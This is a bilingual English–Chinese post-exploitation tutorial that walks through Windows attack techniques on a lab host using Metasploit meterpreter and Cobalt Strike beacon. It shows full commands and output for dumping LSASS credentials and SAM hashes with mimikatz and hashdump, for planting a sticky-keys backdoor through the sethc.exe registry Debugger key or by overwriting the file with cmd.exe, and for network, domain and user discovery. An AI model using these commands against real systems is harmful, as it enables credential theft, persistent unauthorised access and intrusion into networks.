Credential Dumping(凭证窃取)

Dump credentials from LSASS(从LSASS中窃取凭证)

实现原理：

  1. This technique injects into the LSASS.exe process and scrapes its memory for plaintext passwords of logged on users. You must do this from a high integrity process. 
  3. 注入lsass .exe进程，并从其内存中提取登录用户的明文密码

msf下操作：

use mimikatz

wdigest(获取WDigest凭据)

msv （获取msv凭据（hash））

kerberos （获取kerberos）

  1. meterpreter > use mimikatz 
  2. Loading extension mimikatz...Success.
  3. meterpreter > wdigest 
  4. [!] Not currently running as SYSTEM
  5. [*] Attempting to getprivs ...
  6. [+] Got SeDebugPrivilege.
  7. [*] Retrieving wdigest credentials
  8. wdigest credentials
  9. ===================
  11. AuthID    Package    Domain           User              Password
  12. ------    -------    ------           ----              --------
  13. 0;996     Negotiate  NT AUTHORITY     NETWORK SERVICE   
  14. 0;53216   NTLM                                          
  15. 0;997     Negotiate  NT AUTHORITY     LOCAL SERVICE     
  16. 0;999     NTLM       WORKGROUP        ROOT-5DE52AC98B$  
  17. 0;146131  NTLM       ROOT-5DE52AC98B  Administrator     123456
  19. meterpreter > msv
  20. [!] Not currently running as SYSTEM
  21. [*] Attempting to getprivs ...
  22. [+] Got SeDebugPrivilege.
  23. [*] Retrieving msv credentials
  24. msv credentials
  25. ===============
  27. AuthID    Package    Domain           User              Password
  28. ------    -------    ------           ----              --------
  29. 0;146131  NTLM       ROOT-5DE52AC98B  Administrator     lm{ 44efce164ab921caaad3b435b51404ee }, ntlm{ 32ed87bdb5fdc5e9cba88547376818d4 }
  30. 0;996     Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
  31. 0;53216   NTLM                                          n.s. (Credentials KO)
  32. 0;997     Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)
  33. 0;999     NTLM       WORKGROUP        ROOT-5DE52AC98B$  n.s. (Credentials KO)
  34. meterpreter > kerberos 
  35. [!] Not currently running as SYSTEM
  36. [*] Attempting to getprivs ...
  37. [+] Got SeDebugPrivilege.
  38. [*] Retrieving kerberos credentials
  39. kerberos credentials
  40. ====================
  42. AuthID    Package    Domain           User              Password
  43. ------    -------    ------           ----              --------
  44. 0;996     Negotiate  NT AUTHORITY     NETWORK SERVICE   
  45. 0;53216   NTLM                                          
  46. 0;997     Negotiate  NT AUTHORITY     LOCAL SERVICE     
  47. 0;999     NTLM       WORKGROUP        ROOT-5DE52AC98B$  
  48. 0;146131  NTLM       ROOT-5DE52AC98B  Administrator     123456

cs下操作

logonpasswords

mimikatz !sekurlsa::logonpasswords

mimikatz !sekurlsa::msv

mimikatz !sekurlsa::kerberos

mimikatz !sekurlsa::wdigest

  1. beacon> logonpasswords
  2. [*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
  3. [+] host called home, sent: 630354 bytes
  4. [+] received output:
  6. Authentication Id : 0 ; 338316 (00000000:0005298c)
  7. Session           : Interactive from 0
  8. User Name         : Administrator
  9. Domain            : ROOT-5DE52AC98B
  10. Logon Server      : ROOT-5DE52AC98B
  11. Logon Time        : 2019-9-4 19:18:26
  12. SID               : S-1-5-21-1911985068-4225083820-4011728908-500
  13.     msv :   
  14.      [00000002] Primary
  15.      * Username : Administrator
  16.      * Domain   : ROOT-5DE52AC98B
  17.      * LM       : 44efce164ab921caaad3b435b51404ee
  18.      * NTLM     : 32ed87bdb5fdc5e9cba88547376818d4
  19.      * SHA1     : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
  20.     wdigest :   
  21.      * Username : Administrator
  22.      * Domain   : ROOT-5DE52AC98B
  23.      * Password : 123456
  24.     kerberos :  
  25.      * Username : Administrator
  26.      * Domain   : ROOT-5DE52AC98B
  27.      * Password : 123456
  28.     ssp :   
  29.     credman :   
  31. Authentication Id : 0 ; 996 (00000000:000003e4)
  32. Session           : Service from 0
  33. User Name         : NETWORK SERVICE
  34. Domain            : NT AUTHORITY
  35. Logon Server      : (null)
  36. Logon Time        : 2019-9-4 19:14:12
  37. SID               : S-1-5-20
  38.     msv :   
  39.      [00000002] Primary
  40.      * Username : ROOT-5DE52AC98B$
  41.      * Domain   : WORKGROUP
  42.      * LM       : aad3b435b51404eeaad3b435b51404ee
  43.      * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
  44.      * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709
  45.     wdigest :   
  46.      * Username : ROOT-5DE52AC98B$
  47.      * Domain   : WORKGROUP
  48.      * Password : (null)
  49.     kerberos :  
  50.      * Username : root-5de52ac98b$
  51.      * Domain   : WORKGROUP
  52.      * Password : (null)
  53.     ssp :   
  54.     credman :   
  56. Authentication Id : 0 ; 997 (00000000:000003e5)
  57. Session           : Service from 0
  58. User Name         : LOCAL SERVICE
  59. Domain            : NT AUTHORITY
  60. Logon Server      : (null)
  61. Logon Time        : 2019-9-4 19:14:12
  62. SID               : S-1-5-19
  63.     msv :   
  64.     wdigest :   
  65.     kerberos :  
  66.      * Username : (null)
  67.      * Domain   : (null)
  68.      * Password : (null)
  69.     ssp :   
  70.     credman :   
  72. Authentication Id : 0 ; 53331 (00000000:0000d053)
  73. Session           : UndefinedLogonType from 0
  74. User Name         : (null)
  75. Domain            : (null)
  76. Logon Server      : (null)
  77. Logon Time        : 2019-9-4 19:14:12
  78. SID               : 
  79.     msv :   
  80.     wdigest :   
  81.     kerberos :  
  82.     ssp :   
  83.     credman :   
  85. Authentication Id : 0 ; 999 (00000000:000003e7)
  86. Session           : UndefinedLogonType from 0
  87. User Name         : ROOT-5DE52AC98B$
  88. Domain            : WORKGROUP
  89. Logon Server      : (null)
  90. Logon Time        : 2019-9-4 19:14:12
  91. SID               : S-1-5-18
  92.     msv :   
  93.     wdigest :   
  94.     kerberos :  
  95.      * Username : root-5de52ac98b$
  96.      * Domain   : WORKGROUP
  97.      * Password : (null)
  98.     ssp :   
  99.     credman :

Dumps hashes from the SAM Hive file（从sam文件里面读取hash）

实现原理：

  1. The SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required. 
  3. sam文件存放着hash，然后读取该文件进行获得凭证

msf下操作

hashdump （普通hash获取）

run hashdump

post/windows/gather/credentials/domain_hashdump （获取域hash）

  1. meterpreter > hashdump 
  2. Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
  3. ASPNET:1006:1dce4321e5283c3e841070331873c406:085f84e35a1bfb09ca65d008cc988cae:::
  4. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  5. IUSR_ROOT-5DE52AC98B:1003:406eafe671e3ac72ddb9179ad9a2204a:4fa4e3f7ef6f5dc7e1b129caab134cbd:::
  6. IWAM_ROOT-5DE52AC98B:1004:53aacf61b38888da87c793e8c36cb74a:14ba2ea13539973d3f0be627e43ff408:::
  7. SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:7490f8cea3cd28b37717a5d4be375404:::
  9. meterpreter > run hashdump (需要系统权限)
  11. [!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
  12. [!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
  13. [*] Obtaining the boot key...
  14. [*] Calculating the hboot key using SYSKEY be7ba5c5d5c67d878cd0845b2b4d1027...
  15. [-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_open_key: Operation failed: Access is denied.
  16. [-] This script requires the use of a SYSTEM user context (hint: migrate into service process)
  19. msf5 post(windows/gather/credentials/domain_hashdump) > exploit 
  21. [*] Session has Admin privs
  22. [-] This does not appear to be an AD Domain Controller
  23. [*] Post module execution completed

cs下操作

hashdump

mimikatz !lsadump::sam

  1. beacon> hashdump
  2. [*] Tasked beacon to dump hashes
  3. [+] host called home, sent: 63557 bytes
  4. [+] received password hashes:
  5. Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
  6. ASPNET:1006:1dce4321e5283c3e841070331873c406:085f84e35a1bfb09ca65d008cc988cae:::
  7. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  8. IUSR_ROOT-5DE52AC98B:1003:406eafe671e3ac72ddb9179ad9a2204a:4fa4e3f7ef6f5dc7e1b129caab134cbd:::
  9. IWAM_ROOT-5DE52AC98B:1004:53aacf61b38888da87c793e8c36cb74a:14ba2ea13539973d3f0be627e43ff408:::
  10. SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:7490f8cea3cd28b37717a5d4be375404:::
  12. beacon> mimikatz !lsadump::sam
  13. [*] Tasked beacon to run mimikatz's !lsadump::sam command
  14. [+] host called home, sent: 841287 bytes
  15. [+] received output:
  16. Domain : ROOT-5DE52AC98B
  17. SysKey : be7ba5c5d5c67d878cd0845b2b4d1027
  18. Local SID : S-1-5-21-1911985068-4225083820-4011728908
  20. SAMKey : 5dfe2beb57a9d468ed8a72c51c7334ff
  22. RID  : 000001f4 (500)
  23. User : Administrator
  24.   Hash LM  : 44efce164ab921caaad3b435b51404ee
  25.   Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4
  27. RID  : 000001f5 (501)
  28. User : Guest
  30. RID  : 000003e9 (1001)
  31. User : SUPPORT_388945a0
  32.   Hash NTLM: 7490f8cea3cd28b37717a5d4be375404
  34. RID  : 000003eb (1003)
  35. User : IUSR_ROOT-5DE52AC98B
  36.   Hash LM  : 406eafe671e3ac72ddb9179ad9a2204a
  37.   Hash NTLM: 4fa4e3f7ef6f5dc7e1b129caab134cbd
  39. RID  : 000003ec (1004)
  40. User : IWAM_ROOT-5DE52AC98B
  41.   Hash LM  : 53aacf61b38888da87c793e8c36cb74a
  42.   Hash NTLM: 14ba2ea13539973d3f0be627e43ff408
  44. RID  : 000003ee (1006)
  45. User : ASPNET
  46.   Hash LM  : 1dce4321e5283c3e841070331873c406
  47.   Hash NTLM: 085f84e35a1bfb09ca65d008cc988cae

Query Registry(注册表查询)

Check terminal services（检测终端服务）

原理：

  1. Check for the current registry value for terminal services, if it's 0, then terminal services are enabled. If it's 1, then they're disabled
  3. 从注册表中的键值检测是否开启终端服务，如果是0，则为开启，为1则是关闭

terminal（cmd）下操作：

  1. C:\Documents and Settings\Administrator\����>reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
  2. reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
  4. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
  5.     fDenyTSConnections    REG_DWORD    0x0

msf下操作：

reg queryval -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" -v fDenyTSConnections

post/windows/gather/enum_termserv (不好用)

  2. meterpreter > reg queryval -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" -v fDenyTSConnections
  3. Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
  4. Name: fDenyTSConnections
  5. Type: REG_DWORD
  6. Data: 0
  8. msf5 post(windows/gather/enum_termserv) > exploit 
  10. [*] Doing enumeration for S-1-5-21-1911985068-4225083820-4011728908-500
  11. [*] Post module execution completed

cs下操作

shell reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

  1. beacon> shell reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
  2. [*] Tasked beacon to run: reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
  3. [+] host called home, sent: 132 bytes
  4. [+] received output:
  6. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
  7.     fDenyTSConnections    REG_DWORD    0x1

Accessibility Features(易访问特征)

Point sethc.exe file to cmd.exe（使用sethc启动cmd）

原理：

  2. Modify the registry to point the sethc.exe file to point to cmd.exe
  4. 修改注册表使sethc指向cmd，然后五次shift后就可以调出cmd，当然你也可以使用这种方法去激活一个msf的shell

terminal下操作：

REG ADD "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ
/d "C:\windows\system32\cmd.exe" /f

  1. C:\Documents and Settings\Administrator>REG ADD "HKLM\SOFTWARE\Microsoft\Windows
  2.  NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ
  3.  /d "C:\windows\system32\cmd.exe" /f
  4. 操作成功完成。

msf下操作

post/windows/manage/sticky_keys

  2. msf5 post(windows/manage/sticky_keys) > exploit 
  4. [+] Session has administrative rights, proceeding.
  5. [+] 'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing SHIFT 5 times.
  6. [*] Post module execution completed

cs下操作

shell REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f

  2. beacon> shell REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
  3. [*] Tasked beacon to run: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
  4. [+] host called home, sent: 187 bytes
  5. [+] received output:
  6. 操作成功完成。

Replace real sethc.exe with a copy of cmd.exe(用cmd的副本代替sethc)

使用takeown.exe获取系统ALC权限，然后替换

terminal下操作：

takeown.exe C:\Windows\system32\sethc.exe

del C:\Windows\system32\sethc.exe

copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe

  2. C:\Documents and Settings\Administrator>takeown.exe C:\Windows\system32\sethc.ex
  3. e
  4. 错误: 无效参数/选项 - 'C:\Windows\system32\sethc.exe'。
  5. 键入 "TAKEOWN /?" 以了解用法。
  7. C:\Documents and Settings\Administrator>del C:\Windows\system32\sethc.exe
  9. C:\Documents and Settings\Administrator>copy C:\Windows\system32\cmd.exe C:\Wind
  10. ows\system32\sethc.exe
  11. 覆盖 C:\Windows\system32\sethc.exe 吗? (Yes/No/All): yes
  12. 已复制         1 个文件。

cs下操作：

shell takeown.exe C:\Windows\system32\sethc.exe

shell del C:\Windows\system32\sethc.exe

shell copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe

  2. beacon> shell takeown.exe C:\Windows\system32\sethc.exe
  3. [*] Tasked beacon to run: takeown.exe C:\Windows\system32\sethc.exe
  4. [+] host called home, sent: 72 bytes
  5. [+] received output:
  6. 错误: 无效参数/选项 - 'C:\Windows\system32\sethc.exe'。
  7. 键入 "TAKEOWN /?" 以了解用法。
  9. beacon> shell del C:\Windows\system32\sethc.exe
  10. [*] Tasked beacon to run: del C:\Windows\system32\sethc.exe
  11. beacon> shell copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe
  12. [*] Tasked beacon to run: copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe
  13. [+] host called home, sent: 157 bytes
  14. [+] received output:
  15. 已复制         1 个文件。

System Network Configuration Discovery（系统网络配置发现）

Get network information（发现网络信息）

terminal下操作：

ipconfig /all

  2. C:\Documents and Settings\Administrator>ipconfig /all
  4. Windows IP Configuration
  6.    Host Name . . . . . . . . . . . . : root-5de52ac98b
  7.    Primary Dns Suffix  . . . . . . . :
  8.    Node Type . . . . . . . . . . . . : Unknown
  9.    IP Routing Enabled. . . . . . . . : No
  10.    WINS Proxy Enabled. . . . . . . . : No
  12. Ethernet adapter 本地连接:
  14.    Connection-specific DNS Suffix  . :
  15.    Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
  16.    Physical Address. . . . . . . . . : 00-0C-29-D4-66-73
  17.    DHCP Enabled. . . . . . . . . . . : Yes
  18.    Autoconfiguration Enabled . . . . : Yes
  19.    IP Address. . . . . . . . . . . . : 192.168.2.114
  20.    Subnet Mask . . . . . . . . . . . : 255.255.255.0
  21.    Default Gateway . . . . . . . . . : 192.168.2.1
  22.    DHCP Server . . . . . . . . . . . : 192.168.2.1
  23.    DNS Servers . . . . . . . . . . . : 192.168.2.1
  24.    Lease Obtained. . . . . . . . . . : 2019年9月4日 19:14:12
  25.    Lease Expires . . . . . . . . . . : 2019年9月5日 19:14:12
  27. C:\Documents and Settings\Administrator>

msf下操作：

post/windows/gather/enum_domains

  2. msf5 post(windows/gather/enum_domains) > exploit 
  4. [*] Enumerating DCs for WORKGROUP
  5. [-] No Domain Controllers found...
  6. [*] Post module execution completed

cs下操作：

shell ipconfig /all

  3. beacon> shell ipconfig /all
  4. [*] Tasked beacon to run: ipconfig /all
  5. [+] host called home, sent: 44 bytes
  6. [+] received output:
  9. Windows IP Configuration
  13.    Host Name . . . . . . . . . . . . : root-5de52ac98b
  15.    Primary Dns Suffix  . . . . . . . : 
  17.    Node Type . . . . . . . . . . . . : Unknown
  19.    IP Routing Enabled. . . . . . . . : No
  21.    WINS Proxy Enabled. . . . . . . . : No
  25. Ethernet adapter 本地连接:
  29.    Connection-specific DNS Suffix  . : 
  31.    Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
  33.    Physical Address. . . . . . . . . : 00-0C-29-D4-66-73
  35.    DHCP Enabled. . . . . . . . . . . : Yes
  37.    Autoconfiguration Enabled . . . . : Yes
  39.    IP Address. . . . . . . . . . . . : 192.168.2.114
  41.    Subnet Mask . . . . . . . . . . . : 255.255.255.0
  43.    Default Gateway . . . . . . . . . : 192.168.2.1
  45.    DHCP Server . . . . . . . . . . . : 192.168.2.1
  47.    DNS Servers . . . . . . . . . . . : 192.168.2.1
  49.    Lease Obtained. . . . . . . . . . : 2019年9月4日 19:14:12
  51.    Lease Expires . . . . . . . . . . : 2019年9月5日 19:14:12

Get ARP table(获取arp表)

terminal下操作

arp -a

router print

  1. C:\Documents and Settings\Administrator>arp -a
  3. Interface: 192.168.2.114 --- 0x10003
  4.   Internet Address      Physical Address      Type
  5.   192.168.2.1           fc-7c-02-de-0e-c8     dynamic
  6.   192.168.2.107         b4-6b-fc-47-ad-60     dynamic

msf下操作：

router

  2. meterpreter > route 
  4. IPv4 network routes
  5. ===================
  7.     Subnet           Netmask          Gateway        Metric  Interface
  8.     ------           -------          -------        ------  ---------
  9.     0.0.0.0          0.0.0.0          192.168.2.1    10      65539
  10.     127.0.0.0        255.0.0.0        127.0.0.1      1       1
  11.     192.168.2.0      255.255.255.0    192.168.2.114  10      65539
  12.     192.168.2.114    255.255.255.255  127.0.0.1      10      1
  13.     192.168.2.255    255.255.255.255  192.168.2.114  10      65539
  14.     224.0.0.0        240.0.0.0        192.168.2.114  10      65539
  15.     255.255.255.255  255.255.255.255  192.168.2.114  1       65539

cs下操作：

arp -a

  2. beacon> shell arp -a
  3. [*] Tasked beacon to run: arp -a
  4. [+] host called home, sent: 37 bytes
  5. [+] received output:
  7. Interface: 192.168.2.114 --- 0x10003
  8.   Internet Address      Physical Address      Type
  9.   192.168.2.1           fc-7c-02-de-0e-c8     dynamic   
  10.   192.168.2.107         b4-6b-fc-47-ad-60     dynamic

Dump MAC, IP addresses and codes(获取mac、ip地址和其描述性代码)

用于获取计算机的MAC和IP地址以及一些描述性代码(0x1C表示一个域控制器)

termainal下操作：

nbtstat -a ip

  1. C:\Documents and Settings\Administrator>nbtstat -a ip
  3. 本地连接:
  4. Node IpAddress: [192.168.2.114] Scope Id: []
  6.            NetBIOS Remote Machine Name Table
  8.        Name               Type         Status
  9.     ---------------------------------------------
  10.     ROOT-5DE52AC98B<00>  UNIQUE      Registered
  11.     WORKGROUP      <00>  GROUP       Registered
  12.     ROOT-5DE52AC98B<20>  UNIQUE      Registered
  13.     WORKGROUP      <1E>  GROUP       Registered
  14.     WORKGROUP      <1D>  UNIQUE      Registered
  15.     ..__MSBROWSE__.<01>  GROUP       Registered
  17.     MAC Address = 00-0C-29-D4-66-73

cs下操作：

shell c:\windows\system32\nbtstat.exe -a ip

  2. beacon> shell c:\windows\system32\nbtstat.exe -a 192.168.2.114
  3. [*] Tasked beacon to run: c:\windows\system32\nbtstat.exe -a 192.168.2.114
  4. [+] host called home, sent: 79 bytes
  5. [+] received output:
  7. 本地连接:
  8. Node IpAddress: [192.168.2.114] Scope Id: []
  12.            NetBIOS Remote Machine Name Table
  16.        Name               Type         Status
  18.     ---------------------------------------------
  20.     ROOT-5DE52AC98B<00>  UNIQUE      Registered 
  22.     WORKGROUP      <00>  GROUP       Registered 
  24.     ROOT-5DE52AC98B<20>  UNIQUE      Registered 
  26.     WORKGROUP      <1E>  GROUP       Registered 
  28.     WORKGROUP      <1D>  UNIQUE      Registered 
  30.     ..__MSBROWSE__.<01>  GROUP       Registered 
  34.     MAC Address = 00-0C-29-D4-66-73

Remote System Discovery(远程系统发现)

Get the list of domain computers（获取域主机列表）

terminal下操作：

net group "Domain Computers" /domain

  1. C:\Documents and Settings\Administrator>net group "Domain Computers" /domain
  2. 这项请求将在域 WORKGROUP 的域控制器处理。
  4. 发生系统错误 1355。
  6. 指定的域不存在，或无法联系。

msf下操作：

post/windows/gather/enum_ad_computers

post/windows/gather/enum_computers

  1. msf5 post(windows/gather/enum_ad_computers) > exploit 
  3. [-] Unable to find the domain to query.
  4. [*] Post module execution completed
  6. msf5 post(windows/gather/enum_computers) > exploit 
  8. [*] Running module against ROOT-5DE52AC98B
  9. [-] This host is not part of a domain.
  10. [*] Post module execution completed

cs下操作：

shell net group "Domain Computers" /domain

  2. beacon> shell net group "Domain Computers" /domain
  3. [*] Tasked beacon to run: net group "Domain Computers" /domain
  4. [+] host called home, sent: 67 bytes
  5. [+] received output:
  6. 这项请求将在域 WORKGROUP 的域控制器处理。
  8. 发生系统错误 1355。
  10. 指定的域不存在，或无法联系

Get the list of domain controllers(获取域控列表)

terminal下操作：

net group "Domain Controllers" /domain[:DOMAIN]

  1. C:\Documents and Settings\Administrator>net group "Domain Controllers" /domain
  2. 这项请求将在域 WORKGROUP 的域控制器处理。
  4. 发生系统错误 1355。
  6. 指定的域不存在，或无法联系

cs下操作：

shell net group "Domain Controllers" /domain

  1. beacon> shell net group "Domain Controllers" /domain
  2. [*] Tasked beacon to run: net group "Domain Controllers" /domain
  3. [+] host called home, sent: 69 bytes
  4. [+] received output:
  5. 这项请求将在域 WORKGROUP 的域控制器处理。
  7. 发生系统错误 1355。
  9. 指定的域不存在，或无法联系。

Display trust relationship with domain controller(显示域信任关系)

terminal下操作：

nltest /dclist

Display the active directory login server of the workstation(显示ad域工作组的登录器)

terminal下操作：

echo %LOGONSERVER%

  1. C:\Documents and Settings\Administrator>echo %LOGONSERVER%
  2. \\ROOT-5DE52AC98B

cs下操作：

shell echo %LOGONSERVER%

  1. beacon> shell echo %LOGONSERVER%
  2. [*] Tasked beacon to run: echo %LOGONSERVER%
  3. [+] host called home, sent: 49 bytes
  4. [+] received output:
  5. \\ROOT-5DE52AC98B

System Owner/User Discovery（系统用户发现）

Get user information（获取用户信息）

terminal下操作：

whoami /all /fo list

  1. C:\Documents and Settings\Administrator>whoami
  2. root-5de52ac98b\administrator
  4. C:\Documents and Settings\Administrator>whoami /all
  6. 用户信息
  7. ----------------
  9. 用户名                        SID
  10. ============================= =============================================
  11. root-5de52ac98b\administrator S-1-5-21-1911985068-4225083820-4011728908-500
  14. 组信息
  15. -----------------
  17. 组名                             类型   SID          属性
  19. ================================ ====== ============ ===========================
  20. ===============
  21. Everyone                         已知组 S-1-1-0      必需的组, 启用于默认, 启用
  22. 的组
  23. BUILTIN\Administrators           别名   S-1-5-32-544 必需的组, 启用于默认, 启用
  24. 的组, 组的所有者
  25. BUILTIN\Users                    别名   S-1-5-32-545 必需的组, 启用于默认, 启用
  26. 的组
  27. NT AUTHORITY\INTERACTIVE         已知组 S-1-5-4      必需的组, 启用于默认, 启用
  28. 的组
  29. NT AUTHORITY\Authenticated Users 已知组 S-1-5-11     必需的组, 启用于默认, 启用
  30. 的组
  31. NT AUTHORITY\This Organization   已知组 S-1-5-15     必需的组, 启用于默认, 启用
  32. 的组
  33. LOCAL                            已知组 S-1-2-0      必需的组, 启用于默认, 启用
  34. 的组
  35. NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10  必需的组, 启用于默认, 启用
  36. 的组
  39. 特权信息
  40. ----------------------
  42. 特权名                          描述                       状态
  43. =============================== ========================== ======
  44. SeLockMemoryPrivilege           内存中锁定页面             已禁用
  45. SeChangeNotifyPrivilege         跳过遍历检查               已启用
  46. SeSecurityPrivilege             管理审核和安全日志         已禁用
  47. SeBackupPrivilege               备份文件和目录             已禁用
  48. SeRestorePrivilege              还原文件和目录             已禁用
  49. SeSystemtimePrivilege           更改系统时间               已禁用
  50. SeShutdownPrivilege             关闭系统                   已禁用
  51. SeRemoteShutdownPrivilege       从远程系统强制关机         已禁用
  52. SeTakeOwnershipPrivilege        取得文件或其他对象的所有权 已禁用
  53. SeDebugPrivilege                调试程序                   已禁用
  54. SeSystemEnvironmentPrivilege    修改固件环境值             已禁用
  55. SeSystemProfilePrivilege        配置系统性能               已禁用
  56. SeProfileSingleProcessPrivilege 配置单一进程               已禁用
  57. SeIncreaseBasePriorityPrivilege 增加计划优先级             已禁用
  58. SeLoadDriverPrivilege           装载和卸载设备驱动程序     已禁用
  59. SeCreatePagefilePrivilege       创建页面文件               已禁用
  60. SeIncreaseQuotaPrivilege        调整进程的内存配额         已禁用
  61. SeUndockPrivilege               从扩展坞中取出计算机       已禁用
  62. SeManageVolumePrivilege         执行卷维护任务             已禁用
  63. SeImpersonatePrivilege          身份验证后模拟客户端       已启用
  64. SeCreateGlobalPrivilege         创建全局对象               已启用
  66. C:\Documents and Settings\Administrator>whoami /all /fo list
  68. 用户信息
  69. ----------------
  71. 用户名: root-5de52ac98b\administrator
  72. SID:    S-1-5-21-1911985068-4225083820-4011728908-500
  75. 组信息
  76. -----------------
  78. 组名: Everyone
  79. 类型: 已知组
  80. SID:  S-1-1-0
  81. 属性: 必需的组, 启用于默认, 启用的组
  83. 组名: BUILTIN\Administrators
  84. 类型: 别名
  85. SID:  S-1-5-32-544
  86. 属性: 必需的组, 启用于默认, 启用的组, 组的所有者
  88. 组名: BUILTIN\Users
  89. 类型: 别名
  90. SID:  S-1-5-32-545
  91. 属性: 必需的组, 启用于默认, 启用的组
  93. 组名: NT AUTHORITY\INTERACTIVE
  94. 类型: 已知组
  95. SID:  S-1-5-4
  96. 属性: 必需的组, 启用于默认, 启用的组
  98. 组名: NT AUTHORITY\Authenticated Users
  99. 类型: 已知组
  100. SID:  S-1-5-11
  101. 属性: 必需的组, 启用于默认, 启用的组
  103. 组名: NT AUTHORITY\This Organization
  104. 类型: 已知组
  105. SID:  S-1-5-15
  106. 属性: 必需的组, 启用于默认, 启用的组
  108. 组名: LOCAL
  109. 类型: 已知组
  110. SID:  S-1-2-0
  111. 属性: 必需的组, 启用于默认, 启用的组
  113. 组名: NT AUTHORITY\NTLM Authentication
  114. 类型: 已知组
  115. SID:  S-1-5-64-10
  116. 属性: 必需的组, 启用于默认, 启用的组
  119. 特权信息
  120. ----------------------
  122. 特权名: SeLockMemoryPrivilege
  123. 描述:   内存中锁定页面
  124. 状态:   已禁用
  126. 特权名: SeChangeNotifyPrivilege
  127. 描述:   跳过遍历检查
  128. 状态:   已启用
  130. 特权名: SeSecurityPrivilege
  131. 描述:   管理审核和安全日志
  132. 状态:   已禁用
  134. 特权名: SeBackupPrivilege
  135. 描述:   备份文件和目录
  136. 状态:   已禁用
  138. 特权名: SeRestorePrivilege
  139. 描述:   还原文件和目录
  140. 状态:   已禁用
  142. 特权名: SeSystemtimePrivilege
  143. 描述:   更改系统时间
  144. 状态:   已禁用
  146. 特权名: SeShutdownPrivilege
  147. 描述:   关闭系统
  148. 状态:   已禁用
  150. 特权名: SeRemoteShutdownPrivilege
  151. 描述:   从远程系统强制关机
  152. 状态:   已禁用
  154. 特权名: SeTakeOwnershipPrivilege
  155. 描述:   取得文件或其他对象的所有权
  156. 状态:   已禁用
  158. 特权名: SeDebugPrivilege
  159. 描述:   调试程序
  160. 状态:   已禁用
  162. 特权名: SeSystemEnvironmentPrivilege
  163. 描述:   修改固件环境值
  164. 状态:   已禁用
  166. 特权名: SeSystemProfilePrivilege
  167. 描述:   配置系统性能
  168. 状态:   已禁用
  170. 特权名: SeProfileSingleProcessPrivilege
  171. 描述:   配置单一进程
  172. 状态:   已禁用
  174. 特权名: SeIncreaseBasePriorityPrivilege
  175. 描述:   增加计划优先级
  176. 状态:   已禁用
  178. 特权名: SeLoadDriverPrivilege
  179. 描述:   装载和卸载设备驱动程序
  180. 状态:   已禁用
  182. 特权名: SeCreatePagefilePrivilege
  183. 描述:   创建页面文件
  184. 状态:   已禁用
  186. 特权名: SeIncreaseQuotaPrivilege
  187. 描述:   调整进程的内存配额
  188. 状态:   已禁用
  190. 特权名: SeUndockPrivilege
  191. 描述:   从扩展坞中取出计算机
  192. 状态:   已禁用
  194. 特权名: SeManageVolumePrivilege
  195. 描述:   执行卷维护任务
  196. 状态:   已禁用
  198. 特权名: SeImpersonatePrivilege
  199. 描述:   身份验证后模拟客户端
  200. 状态:   已启用
  202. 特权名: SeCreateGlobalPrivilege
  203. 描述:   创建全局对象
  204. 状态:   已启用

msf下操作：

getuid

  2. meterpreter > getuid
  3. Server username: ROOT-5DE52AC98B\Administrator

cs下操作：

shell whoami /all /fo list

